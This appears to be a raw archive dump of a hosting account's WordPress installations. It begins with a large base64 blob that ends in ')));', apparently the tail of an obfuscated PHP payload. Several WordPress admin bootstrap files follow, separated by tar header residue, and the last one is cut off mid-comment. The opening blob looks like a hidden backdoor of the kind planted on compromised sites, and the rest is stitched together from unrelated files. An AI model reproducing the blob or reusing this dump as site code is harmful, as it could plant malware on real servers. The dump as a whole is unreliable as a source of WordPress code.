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')));home/xbodynamge/namtation/wp-admin/user/admin.php000060400000001521151140573070016114 0ustar00<?php
/**
 * WordPress User Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

define( 'WP_USER_ADMIN', true );

require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

if ( ! is_multisite() ) {
	wp_redirect( admin_url() );
	exit;
}

$redirect_user_admin_request = ( ( $current_blog->domain != $current_site->domain ) || ( $current_blog->path != $current_site->path ) );
/**
 * Filters whether to redirect the request to the User Admin in Multisite.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_user_admin_request Whether the request should be redirected.
 */
$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );
if ( $redirect_user_admin_request ) {
	wp_redirect( user_admin_url() );
	exit;
}
unset( $redirect_user_admin_request );
home/xbodynamge/crosstraining/wp-admin/includes/admin.php000060400000005604151140715620017644 0ustar00<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined('WP_ADMIN') ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
}

/** WordPress Administration Hooks */
require_once(ABSPATH . 'wp-admin/includes/admin-filters.php');

/** WordPress Bookmark Administration API */
require_once(ABSPATH . 'wp-admin/includes/bookmark.php');

/** WordPress Comment Administration API */
require_once(ABSPATH . 'wp-admin/includes/comment.php');

/** WordPress Administration File API */
require_once(ABSPATH . 'wp-admin/includes/file.php');

/** WordPress Image Administration API */
require_once(ABSPATH . 'wp-admin/includes/image.php');

/** WordPress Media Administration API */
require_once(ABSPATH . 'wp-admin/includes/media.php');

/** WordPress Import Administration API */
require_once(ABSPATH . 'wp-admin/includes/import.php');

/** WordPress Misc Administration API */
require_once(ABSPATH . 'wp-admin/includes/misc.php');

/** WordPress Options Administration API */
require_once(ABSPATH . 'wp-admin/includes/options.php');

/** WordPress Plugin Administration API */
require_once(ABSPATH . 'wp-admin/includes/plugin.php');

/** WordPress Post Administration API */
require_once(ABSPATH . 'wp-admin/includes/post.php');

/** WordPress Administration Screen API */
require_once(ABSPATH . 'wp-admin/includes/class-wp-screen.php');
require_once(ABSPATH . 'wp-admin/includes/screen.php');

/** WordPress Taxonomy Administration API */
require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');

/** WordPress Template Administration API */
require_once(ABSPATH . 'wp-admin/includes/template.php');

/** WordPress List Table Administration API and base class */
require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table.php');
require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php');
require_once(ABSPATH . 'wp-admin/includes/list-table.php');

/** WordPress Theme Administration API */
require_once(ABSPATH . 'wp-admin/includes/theme.php');

/** WordPress User Administration API */
require_once(ABSPATH . 'wp-admin/includes/user.php');

/** WordPress Site Icon API */
require_once(ABSPATH . 'wp-admin/includes/class-wp-site-icon.php');

/** WordPress Update Administration API */
require_once(ABSPATH . 'wp-admin/includes/update.php');

/** WordPress Deprecated Administration API */
require_once(ABSPATH . 'wp-admin/includes/deprecated.php');

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once(ABSPATH . 'wp-admin/includes/ms-admin-filters.php');
	require_once(ABSPATH . 'wp-admin/includes/ms.php');
	require_once(ABSPATH . 'wp-admin/includes/ms-deprecated.php');
}
home/xbodynamge/namtation/wp-admin/includes/admin.php000060400000005672151141074770016763 0ustar00<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined( 'WP_ADMIN' ) ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
}

/** WordPress Administration Hooks */
require_once( ABSPATH . 'wp-admin/includes/admin-filters.php' );

/** WordPress Bookmark Administration API */
require_once( ABSPATH . 'wp-admin/includes/bookmark.php' );

/** WordPress Comment Administration API */
require_once( ABSPATH . 'wp-admin/includes/comment.php' );

/** WordPress Administration File API */
require_once( ABSPATH . 'wp-admin/includes/file.php' );

/** WordPress Image Administration API */
require_once( ABSPATH . 'wp-admin/includes/image.php' );

/** WordPress Media Administration API */
require_once( ABSPATH . 'wp-admin/includes/media.php' );

/** WordPress Import Administration API */
require_once( ABSPATH . 'wp-admin/includes/import.php' );

/** WordPress Misc Administration API */
require_once( ABSPATH . 'wp-admin/includes/misc.php' );

/** WordPress Options Administration API */
require_once( ABSPATH . 'wp-admin/includes/options.php' );

/** WordPress Plugin Administration API */
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );

/** WordPress Post Administration API */
require_once( ABSPATH . 'wp-admin/includes/post.php' );

/** WordPress Administration Screen API */
require_once( ABSPATH . 'wp-admin/includes/class-wp-screen.php' );
require_once( ABSPATH . 'wp-admin/includes/screen.php' );

/** WordPress Taxonomy Administration API */
require_once( ABSPATH . 'wp-admin/includes/taxonomy.php' );

/** WordPress Template Administration API */
require_once( ABSPATH . 'wp-admin/includes/template.php' );

/** WordPress List Table Administration API and base class */
require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php' );
require_once( ABSPATH . 'wp-admin/includes/list-table.php' );

/** WordPress Theme Administration API */
require_once( ABSPATH . 'wp-admin/includes/theme.php' );

/** WordPress User Administration API */
require_once( ABSPATH . 'wp-admin/includes/user.php' );

/** WordPress Site Icon API */
require_once( ABSPATH . 'wp-admin/includes/class-wp-site-icon.php' );

/** WordPress Update Administration API */
require_once( ABSPATH . 'wp-admin/includes/update.php' );

/** WordPress Deprecated Administration API */
require_once( ABSPATH . 'wp-admin/includes/deprecated.php' );

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once( ABSPATH . 'wp-admin/includes/ms-admin-filters.php' );
	require_once( ABSPATH . 'wp-admin/includes/ms.php' );
	require_once( ABSPATH . 'wp-admin/includes/ms-deprecated.php' );
}
home/xbodynamge/namtation/wp-admin/network/admin.php000060400000002011151141104240016610 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}
unset( $redirect_network_admin_request );
home/xbodynamge/dev/wp-admin/admin.php000060400000024443151141572150013731 0ustar00<?php
/**
 * WordPress Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * In WordPress Administration Screens
 *
 * @since 2.3.2
 */
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( ! defined('WP_NETWORK_ADMIN') )
	define('WP_NETWORK_ADMIN', false);

if ( ! defined('WP_USER_ADMIN') )
	define('WP_USER_ADMIN', false);

if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
	define('WP_BLOG_ADMIN', true);
}

if ( isset($_GET['import']) && !defined('WP_LOAD_IMPORTERS') )
	define('WP_LOAD_IMPORTERS', true);

require_once(dirname(dirname(__FILE__)) . '/wp-load.php');

nocache_headers();

if ( get_option('db_upgraded') ) {
	flush_rewrite_rules();
	update_option( 'db_upgraded',  false );

	/**
	 * Fires on the next page load after a successful DB upgrade.
	 *
	 * @since 2.8.0
	 */
	do_action( 'after_db_upgrade' );
} elseif ( get_option('db_version') != $wp_db_version && empty($_POST) ) {
	if ( !is_multisite() ) {
		wp_redirect( admin_url( 'upgrade.php?_wp_http_referer=' . urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) );
		exit;

	/**
	 * Filters whether to attempt to perform the multisite DB upgrade routine.
	 *
	 * In single site, the user would be redirected to wp-admin/upgrade.php.
	 * In multisite, the DB upgrade routine is automatically fired, but only
	 * when this filter returns true.
	 *
	 * If the network is 50 sites or less, it will run every time. Otherwise,
	 * it will throttle itself to reduce load.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $do_mu_upgrade Whether to perform the Multisite upgrade routine. Default true.
	 */
	} elseif ( apply_filters( 'do_mu_upgrade', true ) ) {
		$c = get_blog_count();

		/*
		 * If there are 50 or fewer sites, run every time. Otherwise, throttle to reduce load:
		 * attempt to do no more than threshold value, with some +/- allowed.
		 */
		if ( $c <= 50 || ( $c > 50 && mt_rand( 0, (int)( $c / 50 ) ) == 1 ) ) {
			require_once( ABSPATH . WPINC . '/http.php' );
			$response = wp_remote_get( admin_url( 'upgrade.php?step=1' ), array( 'timeout' => 120, 'httpversion' => '1.1' ) );
			/** This action is documented in wp-admin/network/upgrade.php */
			do_action( 'after_mu_upgrade', $response );
			unset($response);
		}
		unset($c);
	}
}

require_once(ABSPATH . 'wp-admin/includes/admin.php');

auth_redirect();

// Schedule trash collection
if ( ! wp_next_scheduled( 'wp_scheduled_delete' ) && ! wp_installing() )
	wp_schedule_event(time(), 'daily', 'wp_scheduled_delete');

// Schedule Transient cleanup.
if ( ! wp_next_scheduled( 'delete_expired_transients' ) && ! wp_installing() ) {
	wp_schedule_event( time(), 'daily', 'delete_expired_transients' );
}

set_screen_options();

$date_format = __( 'F j, Y' );
$time_format = __( 'g:i a' );

wp_enqueue_script( 'common' );

/**
 * $pagenow is set in vars.php
 * $wp_importers is sometimes set in wp-admin/includes/import.php
 * The remaining variables are imported as globals elsewhere, declared as globals here
 *
 * @global string $pagenow
 * @global array  $wp_importers
 * @global string $hook_suffix
 * @global string $plugin_page
 * @global string $typenow
 * @global string $taxnow
 */
global $pagenow, $wp_importers, $hook_suffix, $plugin_page, $typenow, $taxnow;

$page_hook = null;

$editing = false;

if ( isset($_GET['page']) ) {
	$plugin_page = wp_unslash( $_GET['page'] );
	$plugin_page = plugin_basename($plugin_page);
}

if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
	$typenow = $_REQUEST['post_type'];
else
	$typenow = '';

if ( isset( $_REQUEST['taxonomy'] ) && taxonomy_exists( $_REQUEST['taxonomy'] ) )
	$taxnow = $_REQUEST['taxonomy'];
else
	$taxnow = '';

if ( WP_NETWORK_ADMIN )
	require(ABSPATH . 'wp-admin/network/menu.php');
elseif ( WP_USER_ADMIN )
	require(ABSPATH . 'wp-admin/user/menu.php');
else
	require(ABSPATH . 'wp-admin/menu.php');

if ( current_user_can( 'manage_options' ) ) {
	wp_raise_memory_limit( 'admin' );
}

/**
 * Fires as an admin screen or script is being initialized.
 *
 * Note, this does not just run on user-facing admin screens.
 * It runs on admin-ajax.php and admin-post.php as well.
 *
 * This is roughly analogous to the more general {@see 'init'} hook, which fires earlier.
 *
 * @since 2.5.0
 */
do_action( 'admin_init' );

if ( isset($plugin_page) ) {
	if ( !empty($typenow) )
		$the_parent = $pagenow . '?post_type=' . $typenow;
	else
		$the_parent = $pagenow;
	if ( ! $page_hook = get_plugin_page_hook($plugin_page, $the_parent) ) {
		$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);

		// Back-compat for plugins using add_management_page().
		if ( empty( $page_hook ) && 'edit.php' == $pagenow && '' != get_plugin_page_hook($plugin_page, 'tools.php') ) {
			// There could be plugin specific params on the URL, so we need the whole query string
			if ( !empty($_SERVER[ 'QUERY_STRING' ]) )
				$query_string = $_SERVER[ 'QUERY_STRING' ];
			else
				$query_string = 'page=' . $plugin_page;
			wp_redirect( admin_url('tools.php?' . $query_string) );
			exit;
		}
	}
	unset($the_parent);
}

$hook_suffix = '';
if ( isset( $page_hook ) ) {
	$hook_suffix = $page_hook;
} elseif ( isset( $plugin_page ) ) {
	$hook_suffix = $plugin_page;
} elseif ( isset( $pagenow ) ) {
	$hook_suffix = $pagenow;
}

set_current_screen();

// Handle plugin admin pages.
if ( isset($plugin_page) ) {
	if ( $page_hook ) {
		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where a callback is provided when the screen is registered.
		 *
		 * The dynamic portion of the hook name, `$page_hook`, refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
